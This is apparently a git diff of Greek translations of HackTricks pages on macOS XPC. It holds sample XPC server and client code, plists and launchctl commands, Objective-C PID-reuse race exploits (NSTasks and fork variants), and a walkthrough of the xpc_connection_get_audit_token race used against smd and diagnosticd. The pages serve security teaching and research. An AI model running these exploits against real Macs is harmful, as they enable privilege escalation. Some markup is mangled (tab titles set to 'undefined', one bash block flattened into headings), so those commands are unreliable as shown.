Το αρχείο `xyz.hacktricks.service.plist` περιέχει τις ρυθμίσεις για ένα XPC service στο macOS. Το XPC (Inter-Process Communication) είναι ένα μηχανισμός που επιτρέπει την επικοινωνία μεταξύ διαφορετικών διεργασιών στο macOS. Αυτό το αρχείο περιέχει πληροφορίες για το πώς θα εκτελεστεί το XPC service και ποιες δικαιώματα θα έχει.
|
||||||
|
|
||||||
|
@ -235,7 +242,6 @@ return 0;
|
||||||
|
|
||||||
Για περισσότερες πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε το XPC service στο macOS, ανατρέξτε στο αντίστοιχο κεφάλαιο του βιβλίου.
|
Για περισσότερες πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε το XPC service στο macOS, ανατρέξτε στο αντίστοιχο κεφάλαιο του βιβλίου.
|
||||||
|
|
||||||
{% endtab %}
|
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||||
|
@ -258,6 +264,7 @@ return 0;
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Compile the server & client
|
# Compile the server & client
|
||||||
gcc xpc_server.c -o xpc_server
|
gcc xpc_server.c -o xpc_server
|
||||||
|
@ -277,10 +284,11 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
||||||
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
||||||
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
|
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
|
||||||
```
|
```
|
||||||
## Παράδειγμα κώδικα XPC επικοινωνίας Objective-C
|
|
||||||
|
### Παράδειγμα κώδικα XPC επικοινωνίας Objective-C
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="oc_xpc_server.m" %}
|
{% tab title="undefined" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
|
// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
|
||||||
#include <Foundation/Foundation.h>
|
#include <Foundation/Foundation.h>
|
||||||
|
@ -330,6 +338,8 @@ listener.delegate = delegate;
|
||||||
sleep(10); // Fake something is done and then it ends
|
sleep(10); // Fake something is done and then it ends
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="oc_xpc_client.m" %}
|
{% tab title="oc_xpc_client.m" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
||||||
|
@ -353,28 +363,26 @@ NSLog(@"Received response: %@", response);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% tab title="xyz.hacktricks.svcoc.plist" %}
|
|
||||||
|
|
||||||
Το αρχείο `xyz.hacktricks.svcoc.plist` περιέχει τις ρυθμίσεις για την εκτέλεση του `xyz.hacktricks.svcoc` στο macOS. Αυτό το αρχείο παρέχει πληροφορίες για το πώς ο επιθετικός μπορεί να εκμεταλλευτεί το XPC για να αποκτήσει προνόμια στο σύστημα.
|
Το αρχείο `xyz.hacktricks.svcoc.plist` περιέχει τις ρυθμίσεις για την εκτέλεση του `xyz.hacktricks.svcoc` στο macOS. Αυτό το αρχείο παρέχει πληροφορίες για το πώς ο επιθετικός μπορεί να εκμεταλλευτεί το XPC για να αποκτήσει προνόμια στο σύστημα.
|
||||||
|
|
||||||
Για να εκμεταλλευτεί ένα XPC, ο επιθετικός πρέπει να ανακαλύψει τον κατάλληλο κώδικα XPC και να τον εκμεταλλευτεί για να εκτελέσει κακόβουλο κώδικα. Αυτό μπορεί να γίνει με τη χρήση εργαλείων όπως το `xpcproxy` ή το `xpcd`. Ο επιθετικός μπορεί να εκμεταλλευτεί το XPC για να αποκτήσει προνόμια χρησιμοποιώντας μια από τις παρακάτω μεθόδους:
|
Για να εκμεταλλευτεί ένα XPC, ο επιθετικός πρέπει να ανακαλύψει τον κατάλληλο κώδικα XPC και να τον εκμεταλλευτεί για να εκτελέσει κακόβουλο κώδικα. Αυτό μπορεί να γίνει με τη χρήση εργαλείων όπως το `xpcproxy` ή το `xpcd`. Ο επιθετικός μπορεί να εκμεταλλευτεί το XPC για να αποκτήσει προνόμια χρησιμοποιώντας μια από τις παρακάτω μεθόδους:
|
||||||
|
|
||||||
- Εκμετάλλευση ευπάθειας στον κώδικα XPC για να εκτελέσει κακόβουλο κώδικα.
|
* Εκμετάλλευση ευπάθειας στον κώδικα XPC για να εκτελέσει κακόβουλο κώδικα.
|
||||||
- Εκμετάλλευση ευπάθειας στην ανάγνωση/εγγραφή μνήμης για να αποκτήσει πρόσβαση σε ευαίσθητες πληροφορίες.
|
* Εκμετάλλευση ευπάθειας στην ανάγνωση/εγγραφή μνήμης για να αποκτήσει πρόσβαση σε ευαίσθητες πληροφορίες.
|
||||||
- Εκμετάλλευση ευπάθειας στην ανάγνωση/εγγραφή αρχείων για να αποκτήσει πρόσβαση σε ευαίσθητα δεδομένα.
|
* Εκμετάλλευση ευπάθειας στην ανάγνωση/εγγραφή αρχείων για να αποκτήσει πρόσβαση σε ευαίσθητα δεδομένα.
|
||||||
|
|
||||||
Ο επιθετικός μπορεί επίσης να εκμεταλλευτεί το XPC για να εκτελέσει κακόβουλο κώδικα σε ένα εξωτερικό σύστημα, χρησιμοποιώντας την απομακρυσμένη εκτέλεση κώδικα XPC.
|
Ο επιθετικός μπορεί επίσης να εκμεταλλευτεί το XPC για να εκτελέσει κακόβουλο κώδικα σε ένα εξωτερικό σύστημα, χρησιμοποιώντας την απομακρυσμένη εκτέλεση κώδικα XPC.
|
||||||
|
|
||||||
Για να προστατευθείτε από τις επιθέσεις XPC, μπορείτε να εφαρμόσετε τις παρακάτω μεθόδους ασφάλειας:
|
Για να προστατευθείτε από τις επιθέσεις XPC, μπορείτε να εφαρμόσετε τις παρακάτω μεθόδους ασφάλειας:
|
||||||
|
|
||||||
- Ελέγξτε την αυθεντικότητα των XPC που εκτελούνται στο σύστημά σας.
|
* Ελέγξτε την αυθεντικότητα των XPC που εκτελούνται στο σύστημά σας.
|
||||||
- Περιορίστε τα δικαιώματα πρόσβασης των XPC.
|
* Περιορίστε τα δικαιώματα πρόσβασης των XPC.
|
||||||
- Εφαρμόστε μέτρα ασφαλείας για την ανάγνωση/εγγραφή μνήμης και αρχείων από τα XPC.
|
* Εφαρμόστε μέτρα ασφαλείας για την ανάγνωση/εγγραφή μνήμης και αρχείων από τα XPC.
|
||||||
- Ενημερώστε το σύστημά σας με τις τελευταίες ενημερώσεις ασφαλείας.
|
* Ενημερώστε το σύστημά σας με τις τελευταίες ενημερώσεις ασφαλείας.
|
||||||
|
|
||||||
Αυτές οι προφυλάξεις μπορούν να βοηθήσουν στην αποτροπή των επιθέσεων XPC και στην προστασία του συστήματός σας από προνόμια εκτελέσιμου κώδικα.
|
Αυτές οι προφυλάξεις μπορούν να βοηθήσουν στην αποτροπή των επιθέσεων XPC και στην προστασία του συστήματός σας από προνόμια εκτελέσιμου κώδικα.
|
||||||
|
|
||||||
{% endtab %}
|
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||||
|
@ -397,25 +405,26 @@ return 0;
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
```bash
|
|
||||||
# Compile the server & client
|
|
||||||
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
|
|
||||||
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
|
||||||
|
|
||||||
# Save server on it's location
|
\`\`\`bash # Compile the server & client gcc -framework Foundation oc\_xpc\_server.m -o oc\_xpc\_server gcc -framework Foundation oc\_xpc\_client.m -o oc\_xpc\_client
|
||||||
cp oc_xpc_server /tmp
|
|
||||||
|
|
||||||
# Load daemon
|
## Save server on it's location
|
||||||
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
|
|
||||||
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
|
||||||
|
|
||||||
# Call client
|
cp oc\_xpc\_server /tmp
|
||||||
./oc_xpc_client
|
|
||||||
|
|
||||||
# Clean
|
## Load daemon
|
||||||
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
|
||||||
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
|
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
||||||
```
|
|
||||||
|
## Call client
|
||||||
|
|
||||||
|
./oc\_xpc\_client
|
||||||
|
|
||||||
|
## Clean
|
||||||
|
|
||||||
|
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc\_xpc\_server
|
||||||
|
|
||||||
|
````
|
||||||
## Πελάτης μέσα σε κώδικα Dylb
|
## Πελάτης μέσα σε κώδικα Dylb
|
||||||
|
|
||||||
Ο παρακάτω κώδικας παρουσιάζει έναν πελάτη που εκτελείται μέσα σε έναν κώδικα Dylb.
|
Ο παρακάτω κώδικας παρουσιάζει έναν πελάτη που εκτελείται μέσα σε έναν κώδικα Dylb.
|
||||||
|
@ -446,7 +455,7 @@ int main(int argc, char *argv[]) {
|
||||||
dlclose(handle);
|
dlclose(handle);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
````
|
||||||
|
|
||||||
Ο παραπάνω κώδικας φορτώνει δυναμικά τη βιβλιοθήκη `libadd.dylib` και καλεί τη συνάρτηση `add` που βρίσκεται μέσα σε αυτήν. Η συνάρτηση `add` πραγματοποιεί την πρόσθεση δύο αριθμών και επιστρέφει το αποτέλεσμα. Το αποτέλεσμα εκτυπώνεται στην οθόνη.
|
Ο παραπάνω κώδικας φορτώνει δυναμικά τη βιβλιοθήκη `libadd.dylib` και καλεί τη συνάρτηση `add` που βρίσκεται μέσα σε αυτήν. Η συνάρτηση `add` πραγματοποιεί την πρόσθεση δύο αριθμών και επιστρέφει το αποτέλεσμα. Το αποτέλεσμα εκτυπώνεται στην οθόνη.
|
||||||
|
|
||||||
|
@ -459,6 +468,7 @@ gcc -shared -o libadd.dylib add.c
|
||||||
```
|
```
|
||||||
|
|
||||||
Αφού δημιουργήσετε τη βιβλιοθήκη, μπορείτε να μεταγλωττίσετε και να εκτελέσετε τον παραπάνω κώδικα.
|
Αφού δημιουργήσετε τη βιβλιοθήκη, μπορείτε να μεταγλωττίσετε και να εκτελέσετε τον παραπάνω κώδικα.
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
|
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
|
||||||
// gcc injection example:
|
// gcc injection example:
|
||||||
|
@ -492,6 +502,7 @@ NSLog(@"Done!");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
@ -501,7 +512,7 @@ return;
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Επαναχρησιμοποίηση PID στο macOS
|
# macOS PID Reuse
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -33,7 +33,8 @@
|
||||||
* **Κάθε διακλάδωση** θα **στείλει** το **φορτίο** στο XPC service ενώ εκτελεί το **`posix_spawn`** αμέσως μετά την αποστολή του μηνύματος.
|
* **Κάθε διακλάδωση** θα **στείλει** το **φορτίο** στο XPC service ενώ εκτελεί το **`posix_spawn`** αμέσως μετά την αποστολή του μηνύματος.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Για να λειτουργήσει η εκμετάλλευση, είναι σημαντικό να `export`` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** ή να το τοποθετήσετε μέσα στην εκμετάλλευση:
|
Για να λειτουργήσει η εκμετάλλευση, είναι σημαντικό να ` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** ή να το τοποθετήσετε μέσα στην εκμετάλλευση:
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
asm(".section __DATA,__objc_fork_ok\n"
|
asm(".section __DATA,__objc_fork_ok\n"
|
||||||
"empty:\n"
|
"empty:\n"
|
||||||
|
@ -42,8 +43,11 @@ asm(".section __DATA,__objc_fork_ok\n"
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="NSTasks" %}
|
{% tab title="undefined" %}
|
||||||
Πρώτη επιλογή χρησιμοποιώντας το **`NSTasks`** και το όρισμα για να εκκινήσετε τα παιδιά προκειμένου να εκμεταλλευτείτε το RC
|
Πρώτη επιλογή χρησιμοποιώντας το **`NSTasks`** και το όρισμα για να εκκινήσετε τα παιδιά προκειμένου να εκμεταλλευτείτε το RC
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
|
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
|
||||||
// gcc -framework Foundation expl.m -o expl
|
// gcc -framework Foundation expl.m -o expl
|
||||||
|
@ -149,8 +153,11 @@ create_nstasks();
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="fork" %}
|
{% tab title="fork" %}
|
||||||
Αυτό το παράδειγμα χρησιμοποιεί έναν απλό **`fork`** για να εκκινήσει **παιδιά που θα εκμεταλλευτούν τον ανταγωνισμό των PID** και στη συνέχεια θα εκμεταλλευτούν **έναν άλλο ανταγωνισμό μέσω ενός σκληρού συνδέσμου (Hard link):**
|
Αυτό το παράδειγμα χρησιμοποιεί έναν απλό **`fork`** για να εκκινήσει **παιδιά που θα εκμεταλλευτούν τον ανταγωνισμό των PID** και στη συνέχεια θα εκμεταλλευτούν **έναν άλλο ανταγωνισμό μέσω ενός σκληρού συνδέσμου (Hard link):**
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
|
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
|
||||||
// gcc -framework Foundation expl.m -o expl
|
// gcc -framework Foundation expl.m -o expl
|
||||||
|
@ -300,7 +307,7 @@ return 0;
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Επίθεση xpc\_connection\_get\_audit\_token στο macOS
|
# macOS xpc\_connection\_get\_audit\_token Attack
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -20,8 +20,8 @@
|
||||||
|
|
||||||
Αν δεν ξέρετε τι είναι τα Μηνύματα Mach, ξεκινήστε ελέγχοντας αυτήν τη σελίδα:
|
Αν δεν ξέρετε τι είναι τα Μηνύματα Mach, ξεκινήστε ελέγχοντας αυτήν τη σελίδα:
|
||||||
|
|
||||||
{% content-ref url="../../../../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
{% content-ref url="../../" %}
|
||||||
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
|
[..](../../)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Προς το παρόν, θυμηθείτε ότι ([ορισμός από εδώ](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
|
Προς το παρόν, θυμηθείτε ότι ([ορισμός από εδώ](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
|
||||||
|
@ -51,6 +51,7 @@
|
||||||
Δύο διαφορετικές μεθόδοι με τις οποίες μπορεί να εκμεταλλευτεί αυτό:
|
Δύο διαφορετικές μεθόδοι με τις οποίες μπορεί να εκμεταλλευτεί αυτό:
|
||||||
|
|
||||||
1. Παραλλαγή 1:
|
1. Παραλλαγή 1:
|
||||||
|
|
||||||
* Η **εκμετάλλευση** συνδέεται με την υπηρεσία **A** και την υπηρεσία **B**
|
* Η **εκμετάλλευση** συνδέεται με την υπηρεσία **A** και την υπηρεσία **B**
|
||||||
* Η υπηρεσία **B** μπορεί να καλέσει μια **προνομιούχα λειτουργία** στην υπηρεσία **A** που ο χρήστης δεν μπορεί
|
* Η υπηρεσία **B** μπορεί να καλέσει μια **προνομιούχα λειτουργία** στην υπηρεσία **A** που ο χρήστης δεν μπορεί
|
||||||
* Η υπηρεσία **A** καλεί το **`xpc_connection_get_audit_token`** ενώ _**δεν**_ βρίσκεται μέσα στον **χειριστή γεγονότων** για μια σύνδεση σε ένα **`dispatch_async`**.
|
* Η υπηρεσία **A** καλεί το **`xpc_connection_get_audit_token`** ενώ _**δεν**_ βρίσκεται μέσα στον **χειριστή γεγονότων** για μια σύνδεση σε ένα **`dispatch_async`**.
|
||||||
|
@ -58,10 +59,13 @@
|
||||||
* Η εκμετάλλευση περνά στην **υπηρεσία B το SEND right στην υπηρεσία A**.
|
* Η εκμετάλλευση περνά στην **υπηρεσία B το SEND right στην υπηρεσία A**.
|
||||||
* Έτσι η υπηρεσία **B θα στέλνει πραγματικά τα μηνύματα** στην υπηρεσία **A**.
|
* Έτσι η υπηρεσία **B θα στέλνει πραγματικά τα μηνύματα** στην υπηρεσία **A**.
|
||||||
* Η **εκμετάλλευση** προσπαθεί να **καλέσει την προνομιούχα ενέργεια**. Σε μια RC η υπηρεσία **A ελέγχει** την εξουσιοδότηση αυτής της **ενέργειας** ενώ η **υπηρεσία B αντικατέστησε το Audit token** (δίνοντας στην εκμετάλλευση πρόσβαση για να καλέσει την προνομιούχα ενέργεια).
|
* Η **εκμετάλλευση** προσπαθεί να **καλέσει την προνομιούχα ενέργεια**. Σε μια RC η υπηρεσία **A ελέγχει** την εξουσιοδότηση αυτής της **ενέργειας** ενώ η **υπηρεσία B αντικατέστησε το Audit token** (δίνοντας στην εκμετάλλευση πρόσβαση για να καλέσει την προνομιούχα ενέργεια).
|
||||||
|
|
||||||
2. Παραλλαγή 2:
|
2. Παραλλαγή 2:
|
||||||
|
|
||||||
* Η υπηρεσία **B** μπορεί να καλέσει μια **προνομιούχα λειτουργία** στην υπηρεσία **A** που ο χρήστης δεν μπορεί
|
* Η υπηρεσία **B** μπορεί να καλέσει μια **προνομιούχα λειτουργία** στην υπηρεσία **A** που ο χρήστης δεν μπορεί
|
||||||
* Η εκμετάλλευση συνδέεται με την **υπηρεσία A** η οποία **στέλνει** στην εκμετάλλευση ένα μήνυμα που περιμένει μια απάντηση σε ένα συγκεκριμένο **replay port**.
|
* Η εκμετάλλευση συνδέεται με την **υπηρεσία A** η οποία **στέλνει** στην εκμετάλλευση ένα μήνυμα που περιμένει μια απάντηση σε ένα συγκεκριμένο **replay port**.
|
||||||
* Η εκμετάλλευση στέλνει στην υπηρεσία **B ένα μήνυμα περνώντας** αυτό το replay port.
|
* Η εκμετάλλευση στέλνει στην υπηρεσία **B ένα μήνυμα περνώντας** αυτό το replay port.
|
||||||
* Όταν η υπηρεσία **B απαντά**, στέλνει το μήνυμα στην υπηρεσία **A**, **ενώ** η **εκμετάλλευση** στέλνει ένα διαφορετικό **μήνυμα στην υπηρεσία A** προσπαθ
|
* Όταν η υπηρεσία **B απαντά**, στέλνει το μήνυμα στην υπηρεσία **A**, **ενώ** η **εκμετάλλευση** στέλνει ένα διαφορετικό **μήνυμα στην υπηρεσία A** προσπαθ
|
||||||
|
|
||||||
4. Το επόμενο βήμα περιλαμβάνει την εντολή του `diagnosticd` να ξεκινήσει την παρακολούθηση ενός επιλεγμένου διεργασίας (ενδεχομένως τη δική του χρήστη). Ταυτόχρονα, στέλνεται ένας πλημμύρας κανονικών μηνυμάτων 1004 στο `smd`. Ο σκοπός εδώ είναι να εγκατασταθεί ένα εργαλείο με αυξημένα προνόμια.
|
4. Το επόμενο βήμα περιλαμβάνει την εντολή του `diagnosticd` να ξεκινήσει την παρακολούθηση ενός επιλεγμένου διεργασίας (ενδεχομένως τη δική του χρήστη). Ταυτόχρονα, στέλνεται ένας πλημμύρας κανονικών μηνυμάτων 1004 στο `smd`. Ο σκοπός εδώ είναι να εγκατασταθεί ένα εργαλείο με αυξημένα προνόμια.
|
||||||
5. Αυτή η ενέργεια ενεργοποιεί μια κατάσταση ανταγωνισμού μέσα στη λειτουργία `handle_bless`. Το χρονισμός είναι κρίσιμος: η κλήση της λειτουργίας `xpc_connection_get_pid` πρέπει να επιστρέψει το PID της διεργασίας του χρήστη (καθώς το εργαλείο με τα προνομιακά διαμένει στο δέμα εφαρμογής του χρήστη). Ωστόσο, η λειτουργία `xpc_connection_get_audit_token`, ειδικά μέσα στην υπορουτίνα `connection_is_authorized`, πρέπει να αναφέρεται στο αυτενεργό τεκμήριο που ανήκει στο `diagnosticd`.
|
